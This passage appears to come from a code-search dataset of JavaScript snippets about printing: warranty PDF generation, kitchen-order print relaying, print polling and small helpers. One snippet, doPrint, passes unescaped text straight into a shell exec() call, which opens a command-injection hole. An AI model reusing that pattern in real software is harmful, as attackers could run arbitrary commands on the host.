\"td, th {\";\r\n\t\t// strVar += \" border: 0.5px solid #dddddd;\";\r\n\t\tstrVar += \" text-align: left;\";\r\n\t\tstrVar += \" padding: 3px;\";\r\n\t\tstrVar += \"}\";\r\n\t\tstrVar += \"\";\r\n\t\tstrVar += \".unjustify {\";\r\n\t\tstrVar += \" display: inline-block;\";\r\n\t\tstrVar += \" width: 3px;\";\r\n\t\tstrVar += \"}\";\r\n\t\tstrVar += \"\";\r\n\t\t\r\n\t\tstrVar += \"body, td {\"\r\n\t\tstrVar += \"font-family: Open Sans,Helvetica,sans-serif\"\r\n\t\tstrVar += \"}\"\r\n\t\t\r\n\t\tstrVar += \"<\\/style>\";\r\n\t\tstrVar += \"<\\/head>\";\r\n\t\tstrVar += \"<body footer=\\\"myfooter\\\" footer-height=\\\"1em\\\" size=\\\"A4\\\">\";\r\n\t\tstrVar += \"\";\r\n\t\tstrVar += \"<table style=\\\"border: 1px solid #dddddd;margin-bottom:10px;\\\" align = \\\"center\\\">\";\r\n\t\tstrVar += \" <tr>\";\r\n\t\tstrVar += \" <td>\";\r\n\t\tstrVar += \"<table style=\\\"margin-bottom:10px;\\\" align = \\\"center\\\">\";\r\n\t\tstrVar += \" <tr>\";\r\n\t\tstrVar += \" <td align=\\\"center\\\" style=\\\"text-align:center;font-size:14px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">\" + nlapiEscapeXML('Warranty Registration') + \"<\\/td>\";\r\n\t\tstrVar += \" <\\/tr>\";\r\n\t\tstrVar += \"<\\/table>\";\r\n\t\t\r\n\t\tstrVar += \"<table style=\\\"margin-bottom:20px;\\\" align = \\\"center\\\">\";\r\n\t\tstrVar += \" <tr>\";\r\n\t\tstrVar += \" <td colspan= \\\"2\\\" align=\\\"left\\\" style=\\\"text-align:left;font-size: 12px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">Customer Name<\\/td>\";\r\n\t\tstrVar += \" <td colspan= \\\"8\\\" align=\\\"left\\\" style=\\\"text-align:left;font-size: 12px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">: \" + Customer + \"<\\/td>\";\r\n\t\tstrVar += \" <td colspan= \\\"2\\\" align=\\\"left\\\" style=\\\"text-align:left;font-size: 12px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">Order Date<\\/td>\";\r\n\t\tstrVar += \" <td colspan= \\\"4\\\" align=\\\"left\\\" style=\\\"text-align:left;font-size: 12px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">: \" + OrderDate + \"<\\/td>\";\r\n\t\tstrVar += \" <\\/tr>\";\r\n\t\tstrVar += \" <tr>\";\r\n\t\tstrVar += \" <td colspan= \\\"2\\\" align=\\\"left\\\" style=\\\"text-align:left;font-size: 12px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">Order ID<\\/td>\";\r\n\t\tstrVar += \" <td colspan= \\\"14\\\" align=\\\"left\\\" style=\\\"text-align:left;font-size: 12px;font-weight: bold;border: 0px;\\\" valign=\\\"top\\\">: \" + TranID + \"<\\/td>\";\r\n\t\tstrVar += \" <\\/tr>\";\r\n\t\tstrVar += \"<\\/table>\";\r\n\t\tstrVar += \"\";\r\n\t\tstrVar += \"<table style=\\\"\\\">\";\r\n\t\tstrVar += \"<thead>\";\r\n\t\tstrVar += \" <tr style=\\\"background-color: black ;color:white;\\\">\";\r\n\t\tstrVar += \" <th style=\\\"border-left:1px;border-right: 0px;border-top: 0px;border-bottom: 0px;text-align:center;font-size:12px;\\\"><b>Item Name</b><\\/th>\";\r\n\t\tstrVar += \" <th style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px;text-align:center;font-size: 12px;\\\"><b>Quantity</b><\\/th>\";\r\n\t\t//strVar += \" <th style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px;text-align:center;font-size: 12px;\\\"><b>Units</b><\\/th>\";\r\n\t\tstrVar += \" <th style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px;text-align:center;font-size: 12px;\\\"><b>Exp Date</b><\\/th>\";\r\n\t\tstrVar += \" <th style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 1px;text-align:right;font-size: 12px;\\\"><b>Warranty Term</b><\\/th>\";\r\n\t\tstrVar += \" <\\/tr>\";\r\n\t\tstrVar += \"<\\/thead>\";\r\n\t\t\r\n\t\tvar i_linecount = o_recordObj.getLineItemCount('item')\r\n\t\tvar j = 1;\r\n\t\tfor (var k = 1; k <= i_linecount; k++) {\r\n\t\t\tvar Item = o_recordObj.getLineItemText('item', 'item', k);\r\n\t\t\tvar quantity = o_recordObj.getLineItemValue('item', 'quantity', k);\r\n\t\t\t//var units = o_recordObj.getLineItemText('item', 'units', k);\r\n\t\t\tvar expdate = o_recordObj.getLineItemValue('item', 'custcol_sw_expiration', k);\r\n\t\t\tvar terms = o_recordObj.getLineItemText('item', 'custcol_sw_warranty', k);\r\n\t\t\t\r\n\t\t\tif (terms != null && terms != '' && terms != undefined) {\r\n\t\t\t\tj++;\r\n\t\t\t\tif (j % 2 == 0) {\r\n\t\t\t\t\tstrVar += \" <tr style=\\\"border-left:1px;border-right: 0px;border-top: 0px;border-bottom: 0px;background-color: #efefef !important;\\\">\";\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\tstrVar += \" <tr style=\\\"border-left:1px;border-right: 0px;border-top: 0px;border-bottom: 0px;\\\">\"\r\n\t\t\t\t}\r\n\t\t\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 12px;text-align:left\\\" >\" + nlapiEscapeXML(Item) + \"<\\/td>\";\r\n\t\t\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 12px;text-align:center\\\">\" + quantity + \"<\\/td>\";\r\n\t\t\t\t//strVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 12px;text-align:center\\\">\" + nlapiEscapeXML(units) + \"<\\/td>\";\r\n\t\t\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 12px;text-align:center\\\">\" + nlapiEscapeXML(expdate) + \"<\\/td>\";\r\n\t\t\t\tstrVar += \" <td align=\\\"center\\\" style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 12px;text-align:center\\\">\" + nlapiEscapeXML(terms) + \"<\\/td>\";\r\n\t\t\t\tstrVar += \" <\\/tr>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\tstrVar += \" <tr style=\\\"border-left:1px;border-right: 0px;border-top: 0px;border-bottom: 0px;\\\">\"\r\n\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 7px;text-align:left\\\" ><\\/td>\";\r\n\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 7px;text-align:center\\\"><\\/td>\";\r\n\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 7px;text-align:center\\\"><\\/td>\";\r\n\t\tstrVar += \" <td style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 7px;text-align:center\\\"><\\/td>\";\r\n\t\tstrVar += \" <td align=\\\"center\\\" style=\\\"border-left:0px;border-right: 0px;border-top: 0px;border-bottom: 0px ;font-size: 7px;text-align:center\\\"><\\/td>\";\r\n\t\tstrVar += \" <\\/tr>\";\r\n\t\tstrVar += \" \";\r\n\t\tstrVar += \"<\\/table>\";\r\n\t\tstrVar += \" <\\/td>\";\r\n\t\tstrVar += \" <\\/tr>\";\r\n\t\tstrVar += \" \";\r\n\t\tstrVar += \"<\\/table>\";\r\n\t\tstrVar += \"<\\/body>\";\r\n\t\tstrVar += \"<\\/html>\";\r\n\t\tstrVar += \"\";\r\n\t\t\r\n\t\tvar xml = \"<?xml version=\\\"1.0\\\"?>\\n<!DOCTYPE pdf PUBLIC \\\"-//big.faceless.org//report\\\" \\\"report-1.1.dtd\\\">\\n<pdf style=\\\"margin-top: 0pt;\\\">\\n\" + strVar + \"\\n</pdf>\";\r\n\t\t\r\n\t\tvar file = nlapiXMLToPDF(xml);\r\n\t\tresponse.setContentType('PDF', TranID + '_Warranty.pdf', 'inline');\r\n\t\tresponse.write(file.getValue());\r\n\t}\r\n}", "title": "" }, { "docid": "7e2f658d420f286fa34c350e91716032", "score": "0.48891616", "text": "function printTraveler(){\n \n if (window.XMLHttpRequest) {\n xmlhttp = new XMLHttpRequest();\n }else {\n xmlhttp = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n xmlhttp.onreadystatechange = function() {\n if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {\n if (this.responseText === \"\") {\n alert(\"Sorry. Error printing\");\n } else {\n alert(\"Traveler has been sent to the Printer.\");\n }\n }\n }\n para = \"Traveler&order=\"+document.getElementById(\"ordernumber\").value ;\n para +=\"&line=\"+document.getElementById(\"linenumber\").value;\n \n xmlhttp.open(\"GET\",\"../php/ControllerInquiry.php?q=\"+para,true);\n xmlhttp.send(); \n\n}", "title": "" }, { "docid": "16a4e8a954c5e165055532fc96a58326", "score": "0.48647654", "text": "function printSpecial()\n{\nif (document.getElementById != null)\n{\nvar html = '<HTML>\\n<HEAD>\\n';\n\nif (document.getElementsByTagName != null)\n{\nvar headTags = document.getElementsByTagName(\"head\");\nif (headTags.length > 0)\nhtml += headTags[0].innerHTML;\n}\n\nhtml += '\\n</HE>\\n<BODY>\\n';\n\nvar printReadyElem = document.getElementById(\"printReady\");\n\nif (printReadyElem != null)\n{\nhtml += printReadyElem.innerHTML;\n}\nelse\n{\nalert(\"Could not find the printReady function\");\nreturn;\n}\n\nhtml += '\\n</BO>\\n</HT>';\n\nvar printWin = window.open(\"\",\"printSpecial\");\nprintWin.document.open();\nprintWin.document.write(html);\nprintWin.document.close();\nif (gAutoPrint)\nprintWin.print();\n}\nelse\n{\nalert(\"The print ready feature is only available if you are using an browser. Please update your browswer.\");\n}\n}", "title": "" }, { "docid": "9aea7f47a41dee6a881430203e5f6859", "score": "0.48284298", "text": "function printKOTRequestEdited(kot, compareObject){\n\n var isKOTRelayingEnabled = window.localStorage.appOtherPreferences_KOTRelayEnabled ? (window.localStorage.appOtherPreferences_KOTRelayEnabled == 1 ? true : false) : false;\n var isKOTRelayingEnabledOnDefault = window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT ? (window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT == 1 ? true : false) : false;\n\n var default_set_KOT_printer = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n var default_set_KOT_printer_data = null;\n var only_KOT_printer = null;\n\n\n findDefaultKOTPrinter();\n\n function findDefaultKOTPrinter() {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == default_set_KOT_printer) {\n default_set_KOT_printer_data = allConfiguredPrintersList[g].list[a];\n } else if (only_KOT_printer == null) {\n only_KOT_printer = allConfiguredPrintersList[g].list[a];\n }\n }\n\n break;\n }\n\n g++;\n }\n }\n\n if (default_set_KOT_printer_data == null) {\n default_set_KOT_printer_data = only_KOT_printer;\n }\n\n\n if (isKOTRelayingEnabled) {\n\n showPrintingAnimation();\n\n var relayRuleList = window.localStorage.custom_kot_relays ? JSON.parse(window.localStorage.custom_kot_relays) : [];\n var relaySkippedItems = [];\n\n populateRelayRules();\n\n function populateRelayRules() {\n var n = 0;\n while (relayRuleList[n]) {\n\n relayRuleList[n].subcart = [];\n\n for (var i = 0; i < compareObject.length; i++) {\n if (compareObject[i].category == relayRuleList[n].name && relayRuleList[n].printer != '') {\n relayRuleList[n].subcart.push(compareObject[i]);\n }\n }\n\n if (n == relayRuleList.length - 1) {\n generateRelaySkippedItems();\n }\n\n n++;\n }\n\n if (relayRuleList.length == 0) {\n generateRelaySkippedItems();\n }\n }\n\n function generateRelaySkippedItems() {\n var m = 0;\n while (compareObject[m]) {\n\n if (relayRuleList.length != 0) {\n for (var i = 0; i < relayRuleList.length; i++) {\n if (compareObject[m].category == relayRuleList[i].name && relayRuleList[i].printer != '') {\n //item found\n break;\n }\n\n if (i == relayRuleList.length - 1) { //last iteration and item not found\n relaySkippedItems.push(compareObject[m])\n }\n }\n } else { //no relays set, skip all items\n relaySkippedItems.push(compareObject[m]);\n }\n\n if (m == compareObject.length - 1) {\n\n if (relaySkippedItems.length > 0) {\n //Print skipped items (non-relayed items)\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n sendKOTChangesToPrinter(kot, relaySkippedItems);\n printRelayedKOT(relayRuleList);\n } else {\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n\n if (isKOTRelayingEnabledOnDefault) {\n sendKOTChangesToPrinter(kot, relaySkippedItems, selected_printer);\n printRelayedKOT(relayRuleList);\n } else {\n sendKOTChangesToPrinter(kot, compareObject, selected_printer);\n printRelayedKOT(relayRuleList);\n }\n\n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n if (isKOTRelayingEnabledOnDefault) {\n sendKOTChangesToPrinter(kot, relaySkippedItems, default_set_KOT_printer_data);\n printRelayedKOT(relayRuleList);\n } else {\n sendKOTChangesToPrinter(kot, compareObject, default_set_KOT_printer_data);\n printRelayedKOT(relayRuleList);\n }\n }\n }\n\n g++;\n }\n }\n\n } else {\n if (!isKOTRelayingEnabledOnDefault) {\n sendKOTChangesToPrinter(kot, compareObject, default_set_KOT_printer_data);\n printRelayedKOT(relayRuleList);\n } else {\n printRelayedKOT(relayRuleList, 'NO_DELAY_PLEASE');\n }\n }\n\n\n\n }\n\n m++;\n }\n }\n\n function printRelayedKOT(relayedList, optionalRequest) {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var g = 0;\n var allPrintersList = [];\n\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') { //filter only KOT Printers\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n allPrintersList.push({\n \"name\": allConfiguredPrintersList[g].list[a].name,\n \"target\": allConfiguredPrintersList[g].list[a].target,\n \"template\": allConfiguredPrintersList[g].list[a]\n });\n }\n\n //Start relay after some significant delay. \n //Printing of relay skipped items might not be completed yet...\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n\n break;\n }\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n }\n\n g++;\n }\n\n function startRelayPrinting(index) {\n\n console.log('Relay Print - Round ' + index + ' on ' + allPrintersList[index].name);\n\n var relayedItems = [];\n for (var i = 0; i < relayedList.length; i++) {\n if (relayedList[i].subcart.length > 0 && relayedList[i].printer == allPrintersList[index].name) {\n relayedItems = relayedItems.concat(relayedList[i].subcart)\n }\n\n if (i == relayedList.length - 1) { //last iteration\n if (relayedItems.length > 0) {\n\n sendKOTChangesToPrinter(kot, relayedItems, allPrintersList[index].template);\n\n if (allPrintersList[index + 1]) {\n //go to next after some delay\n setTimeout(function() {\n startRelayPrinting(index + 1);\n }, 3000);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(kot._id, kot._rev, kot.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n\n\n }\n } else {\n //There are no items to relay. Go to next.\n if (allPrintersList[index + 1]) {\n startRelayPrinting(index + 1);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(kot._id, kot._rev, kot.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n\n }\n }\n }\n }\n }\n\n\n }\n } else { //no relay (normal case)\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n sendKOTChangesToPrinter(kot, compareObject);\n removeKOTPrintRequest(kot._id, kot._rev, kot.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n\n } else {\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n sendKOTChangesToPrinter(kot, compareObject, selected_printer);\n removeKOTPrintRequest(kot._id, kot._rev, kot.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n sendKOTChangesToPrinter(kot, compareObject);\n removeKOTPrintRequest(kot._id, kot._rev, kot.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n }\n\n g++;\n }\n }\n\n } \n}", "title": "" }, { "docid": "b27c67542acb5e3934bb2bb00af67b42", "score": "0.48132196", "text": "function printResponse(input){\n var body = document.querySelector('body')\n var output = document.createElement('p')\n output.textContent = input\n body.append(output)\n }", "title": "" }, { "docid": "52a735e4e824f7a346fe0eac7385bfc2", "score": "0.4812691", "text": "function doPrint(json_rsp) {\n \n var print_string = format_print(json_rsp);\n console.log(print_string);\n exec(\"echo \\\"\"+print_string+\"\\\" | > \"+printer_lpr_options,print_callback);\n //>print /d:LPT1 \"test\"\n\n}", "title": "" }, { "docid": "0b714b7b0f126e31ed090f65b925fb5e", "score": "0.48117808", "text": "function buildRequest() {\n map.off('click', onMapClick);\n if ((requestLocations && requestLocations.length > 0) &&\n (requestOrders && requestOrders.length > 0) &&\n (requestVehicles && requestVehicles.length > 0)) {\n\n $('.leaflet-container').css('cursor', 'wait');\n sampleRequest = {\n \"locations\": requestLocations,\n \"orders\": requestOrders,\n \"fleet\": {\n \"vehicles\": requestVehicles\n },\n \"planToursOptions\": getPlanToursOptions(),\n \"distanceMode\": distanceMode\n };\n progressControl.setContent(\"Planning tours\");\n planTours();\n } else {\n $('.leaflet-container').css('cursor', 'default');\n }\n}", "title": "" }, { "docid": "959c97d7cf9484247fca1f9de3f58abd", "score": "0.48019516", "text": "static createPaperWallet () {\n\t\tlet api = new RippleAPI({server: 'ws://aaa.com'}),\n\t\t\tkeypair = api.generateAddress(),\n\t\t\tret = {\n\t\t\t\taddress: keypair.address,\n\t\t\t\tseed: keypair.secret\n\t\t\t};\n\n\t\treturn ret;\n\t}", "title": "" }, { "docid": "0b131964faf3e6c8f86662a11a8e0628", "score": "0.4797521", "text": "async function createUpliftOrder() {\n await createSupplyRequest()\n const transaction = factory.newTransaction(namespace, 'createUpliftOrder')\n transaction.pickupTime = new Date()\n transaction.volume = 10000\n transaction.mabd = new Date()\n transaction.origin = 'Durban'\n transaction.destination = 'Cape Town'\n transaction.fuelType = 'Petrol'\n transaction.qualitySpecification = '14pm'\n transaction.transportCompany = 'Siya'\n\n transaction.supplyRequest = factory.newRelationship('org.catena', 'SupplyRequest', '1')\n transaction.distributor = factory.newRelationship('org.catena', 'Distributor', 'D001')\n transaction.manufacturer = factory.newRelationship('org.catena', 'Manufacturer', 'M001')\n transaction.transporter = factory.newRelationship('org.catena', 'Transporter', 'T001')\n await businessNetworkConnection.submitTransaction(transaction)\n }", "title": "" }, { "docid": "090e030f4da82cd254d15ccb13a5ef27", "score": "0.47875926", "text": "function createReport(startTime){\n\treport = \"<p><b>Drive Track Driving Report Details for \"+settings.driverName+\"</b><br><br>Start Time: \"+startTime+\"</p><p>\"\n}", "title": "" }, { "docid": "0f21bfb695aa66c15aac02a877c273b5", "score": "0.47781736", "text": "static build(request, response, response_body = undefined, request_body = undefined) {\n const message = [];\n if (request.method) message.push(['request_method', request.method]);\n if (request.hostname && request.protocol && request.url) {\n message.push(['request_url', `${request.protocol}://${request.hostname}${request.url}`]);\n }\n if (response.statusCode) message.push(['response_code', `${response.statusCode}`]);\n this.appendRequestHeaders(message, request);\n this.appendRequestParams(message, request);\n this.appendResponseHeaders(message, response);\n if (request_body && request_body !== '') message.push(['request_body', request_body]);\n if (response_body && response_body !== '') message.push(['response_body', response_body]);\n return message;\n }", "title": "" }, { "docid": "ea0d9b6d8b8a2ea400613194facd03ab", "score": "0.4776023", "text": "function checkForPrints(index){\n\n console.log('Checking for Prints...')\n\n $.ajax({\n type: 'GET',\n url: COMMON_LOCAL_SERVER_IP+'/accelerate_kot_print_requests/_design/print-requests/_view/fetchall',\n contentType: \"application/json\",\n dataType: 'json',\n timeout: 10000,\n success: function(data) {\n\n if(data.rows.length == 0){\n //Relax! and start again! \n setTimeout(function(){ initialiseProcessing(); }, 5000);\n }\n else{\n var requestData = data.rows[index].value;\n \n //Check if this is added into the ignoreList\n var e = 0;\n while(ignoreList[e]){\n if(ignoreList[e].kotId == requestData.printRequest.KOT && ignoreList[e].parameters.action == requestData.printRequest.action){\n \n if(data.rows.length > index + 1){ //more print requests pending..\n //iterate same step 3 (no cool off needed)\n checkForPrints(index + 1);\n return '';\n }\n else{\n //go to starting again\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n return '';\n }\n \n }\n e++;\n }\n\n\n switch(requestData.printRequest.action){\n case \"KOT_NEW\":{\n printKOTRequestNew(requestData)\n break;\n }\n case \"KOT_EDITING\":{\n printKOTRequestEdited(requestData, requestData.printRequest.comparison)\n break;\n }\n case \"KOT_DUPLICATE\":{\n printKOTRequestDuplicate(requestData);\n break;\n }\n case \"KOT_CANCEL\":{\n printKOTRequestCancel(requestData);\n break;\n }\n default:{\n\n //go to starting again, after some cool off.\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n \n break;\n }\n }\n\n \n }\n },\n error: function(data){\n showToast('System Error: Unable to fetch print requests. Please contact Accelerate Support if problem persists.', '#e74c3c');\n \n //Relax! and start again! \n setTimeout(function(){ initialiseProcessing(); }, 5000);\n }\n\n }); \n\n }", "title": "" }, { "docid": "2e34726ce6c56cabbb51852e70dd799e", "score": "0.47727692", "text": "requestBody() {\n\t\tthis.sendSerial(parameters.body);\n\t}", "title": "" }, { "docid": "f83cfccdf254dcbf15e6f74ad4cb3349", "score": "0.47402057", "text": "print() {\n return {\n name: this.getName(),\n email: this.getEmail(),\n avatar: this.getAvatar(),\n password: bcrypt.hashSync(this.getPassword(), 8),\n status:this.getStatus(),\n created_at: new Date(),\n updated_at: new Date()\n }\n }", "title": "" }, { "docid": "890cf87cc104122932c6a80fc047dd78", "score": "0.4727166", "text": "function requestPayLoad(Id, Name, City) {\n\t//construct application/x-www-form-urlencoded data.\n\tvar requestData= 'id='+Id;\n\tif(Name != '') {\n\t\trequestData = requestData + '&name='+Name;\n\t}\n\tif(City != '') {\n\t\trequestData = requestData + '&description='+City;\n\t}\n\tconsole.log(\"request payload is : \" + requestData);\n\treturn requestData;\n}", "title": "" }, { "docid": "adc32e83b1d0073a2976e96fa0598cd0", "score": "0.47133347", "text": "async print(e) {\n window.open(\n window.location.href + \"?format=print-\" + this.type,\n \"\",\n \"left=0,top=0,width=800,height=800,toolbar=0,scrollbars=0,status=0,noopener=1,noreferrer=1\"\n );\n }", "title": "" }, { "docid": "6e86887f6e32574a2729cec476b14ede", "score": "0.47112647", "text": "function printKOTRequestCancel(kot, optionalPageRef){\n\n var obj = kot;\n var original_order_object_cart = kot.cart;\n\n var isKOTRelayingEnabled = window.localStorage.appOtherPreferences_KOTRelayEnabled ? (window.localStorage.appOtherPreferences_KOTRelayEnabled == 1 ? true : false) : false;\n var isKOTRelayingEnabledOnDefault = window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT ? (window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT == 1 ? true : false) : false;\n\n var default_set_KOT_printer = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n var default_set_KOT_printer_data = null;\n var only_KOT_printer = null;\n\n\n findDefaultKOTPrinter();\n\n function findDefaultKOTPrinter() {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == default_set_KOT_printer) {\n default_set_KOT_printer_data = allConfiguredPrintersList[g].list[a];\n } else if (only_KOT_printer == null) {\n only_KOT_printer = allConfiguredPrintersList[g].list[a];\n }\n }\n\n break;\n }\n\n g++;\n }\n }\n\n if (default_set_KOT_printer_data == null) {\n default_set_KOT_printer_data = only_KOT_printer;\n }\n\n\n if (isKOTRelayingEnabled) {\n\n showPrintingAnimation();\n\n var relayRuleList = window.localStorage.custom_kot_relays ? JSON.parse(window.localStorage.custom_kot_relays) : [];\n var relaySkippedItems = [];\n\n populateRelayRules();\n\n function populateRelayRules() {\n var n = 0;\n while (relayRuleList[n]) {\n\n relayRuleList[n].subcart = [];\n\n for (var i = 0; i < obj.cart.length; i++) {\n if (obj.cart[i].category == relayRuleList[n].name && relayRuleList[n].printer != '') {\n relayRuleList[n].subcart.push(obj.cart[i]);\n }\n }\n\n if (n == relayRuleList.length - 1) {\n generateRelaySkippedItems();\n }\n\n n++;\n }\n\n if (relayRuleList.length == 0) {\n generateRelaySkippedItems();\n }\n }\n\n function generateRelaySkippedItems() {\n var m = 0;\n while (obj.cart[m]) {\n\n if (relayRuleList.length != 0) {\n for (var i = 0; i < relayRuleList.length; i++) {\n if (obj.cart[m].category == relayRuleList[i].name && relayRuleList[i].printer != '') {\n //item found\n break;\n }\n\n if (i == relayRuleList.length - 1) { //last iteration and item not found\n relaySkippedItems.push(obj.cart[m])\n }\n }\n } else { //no relays set, skip all items\n relaySkippedItems.push(obj.cart[m]);\n }\n\n if (m == obj.cart.length - 1) {\n\n //Print Relay Skipped items (if exists)\n var relay_skipped_obj = obj;\n relay_skipped_obj.cart = relaySkippedItems;\n\n if (relaySkippedItems.length > 0) {\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'CANCELLED_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'CANCELLED_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n } else {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'CANCELLED_KOT', selected_printer);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'CANCELLED_KOT', selected_printer);\n\n printRelayedKOT(relayRuleList);\n }\n\n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'CANCELLED_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'CANCELLED_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n }\n }\n\n g++;\n }\n }\n } else {\n if (!isKOTRelayingEnabledOnDefault) {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'CANCELLED_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n printRelayedKOT(relayRuleList, 